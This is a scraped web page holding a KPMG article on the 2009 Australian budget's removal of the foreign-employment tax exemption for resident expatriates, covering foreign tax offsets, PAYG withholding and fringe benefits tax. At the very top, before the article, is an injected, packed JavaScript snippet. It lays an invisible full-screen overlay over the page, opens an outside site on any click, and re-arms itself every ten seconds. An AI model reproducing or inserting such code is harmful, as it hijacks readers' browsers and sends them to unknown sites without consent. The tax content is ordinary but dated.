<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>澳洲公民海外低税工作要补税了！！！！
KPMG’s Nerida Hayse and Jason Chang explain the implications of tax changes for Australian non-residents living abroad as announced in the recent Australian budget.
The Australian Federal budget handed down on May 12, 2009 by Treasurer Wayne Swan proposed sweeping changes to the taxation of Australian tax residents living abroad.
The Government stated that the new measures would be introduced to eliminate a perceived advantage gained by some expatriates who live and work in lower tax jurisdictions and to improve the fairness of the Australian tax system. It is important to note that the changes announced do not impact all Australians living and working outside of Australia. It only impacts those who remain a tax resident of Australia while they are working overseas. Generally, Australians who move overseas for a period of less than two years will remain a resident in Australia for tax purposes and as such, would be subject to tax on their worldwide income. However, currently the legislation provides that income earned whilst performing services overseas for a continuous period greater than 90 days may be exempt from Australian tax if certain conditions are met.
CHANGES FROM JULY 1, 2009
From July 1, 2009, the proposal outlined in the Federal Budget severely limits the availability of the exemption mentioned above. It will only be available to individuals performing services for Australian government overseas aid programs, members of an Australian Federal or State Government disciplined force and employees of public relief funds as declared by the Treasurer. This means that for the majority of Australian residents abroad, the current tax exemption will be removed.
The removal of this tax exemption does not mean that employees will be subject to double tax. Any double taxation should be dealt with through the use of foreign tax credits (offsets). Broadly, assignees to a country with lower marginal tax rates (which is most common in Southeast Asia) would have to pay a top up tax to the Australian Taxation Office in order to account for the difference in tax rates. Conversely, expatriates to a higher taxed jurisdiction should expect that all of the Australian tax in respect of foreign wages would be offset by the tax paid to the other country.
The reliance on foreign tax credits rather than an exemption will provide practical issues for affected employees given the June 30 yearend compared to a calendar year-end for most countries. For instance, the lodgement of the Australian return may need to be delayed until the final foreign tax amount is known after the foreign tax return is lodged. This may be well into the new Australian tax year.
INCREASED COMPLIANCE OBLIGATIONS FOR EMPLOYERS
Pay As You Go (PAYG) withholding another impact of the proposed rule change is on the PAYG withholding regime. PAYG withholding is generally not required where an employee’s wages will be exempt from tax in Australia. Under the new rules, the wages will not be exempt and, as a result, PAYG withholding will continue to be required. The impact of remaining subject to PAYG withholding has a number of implications:
? Any assignment allowances paid to the assignee may need to be grossed up for Australian tax;
? Equivalent withholding may be required in the host location, which may cause a cash flow issue where tax has to be paid in two locations, only to have it refunded on filing the Australian tax return and may require the introduction of a shadow payroll arrangement.
? Whilst it may be possible to obtain a PAYG withholding variation to reduce the impact of the duplicate withholding, this may also increase the administrative burden associated with the assignment.
Fringe benefits tax (FBT) The interaction between the PAYG withholding rules and FBT also means that fringe benefits provided to employees whose income is exempt, are also exempt from FBT (tax payable by employers on benefits provided to employees). Unless specific amendments are introduced to deal with this issue, the removal of this tax exemption means that previously exempt benefits will now be taxable unless a specific FBT exemption applies (such as for relocation costs). This may therefore increase the overall cost of these assignments for employers.
NEXT STEPS
As a result of the removal of this exemption employers should consider the following:
? Review the impact these changes will have on the cost of current and future assignments, particularly the impact of foreign tax offsets, FBT costs and whether all taxes will be creditable;
? Consider the ability to reprice projects or make budget adjustments based on any identified cost increases; ? Understand the impact on any employees who are not tax equalised. Consider whether any adjustments should be made to compensate them for additional costs. Alternatively consider tax equalisation;
? Understand the PAYG implications, and possible requirement to gross up certain assignment benefits for PAYG. Consider impact of double withholding obligations
? Consider the timing of future assignments and timing of repatriation of non-resident taxpayers or timing of bonus payments. ■
*Jason Chang is the Partner in Charge of Asia Markets in Australia at KPMG. Nerida Hayse is a director of KPMG’s International Executive Services tax group in Melbourne.
** The information contained herein is of a general nature and is not intended to address the circumstances of any particular individual or entity. Although we endeavour to provide accurate and timely information, there can be no guarantee that such information is accurate as of the date it is received or that it will continue to be accurate in the future. No one should act on such information without appropriate professional advice after a thorough examination of the particular situation.
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